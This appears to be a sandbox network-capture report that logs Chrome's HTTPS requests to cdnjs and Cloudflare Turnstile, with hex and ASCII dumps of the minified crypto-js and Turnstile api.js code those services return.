2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49725	104.17.24.14	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:54 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:54 UTC	964	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:54:54 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 881474 Expires: Tue, 24 Feb 2026 21:54:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ftLfLZHrXh3R5lT%2B3hWK6ydytr0mkB379yGp2kNTex0uy3xfMuxHRGYgQnmcWJ5dHs7l05FI7pd5E2LqzTtaI2YL5%2BugPp5A%2B7ak89sqU7H%2BNCf7wpBspBG%2F6k1%2F1tRYSqBPFRji"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91c51821ef8042b5-EWR alt-svc: h3=":443"; ma=86400
2025-03-06 21:54:54 UTC	405	IN	Data Raw: 37 62 65 65 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bee!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49727	104.18.95.41	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:56 UTC	383	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:56 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:54:56 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91c5182e5ae541cd-EWR alt-svc: h3=":443"; ma=86400
2025-03-06 21:54:56 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return 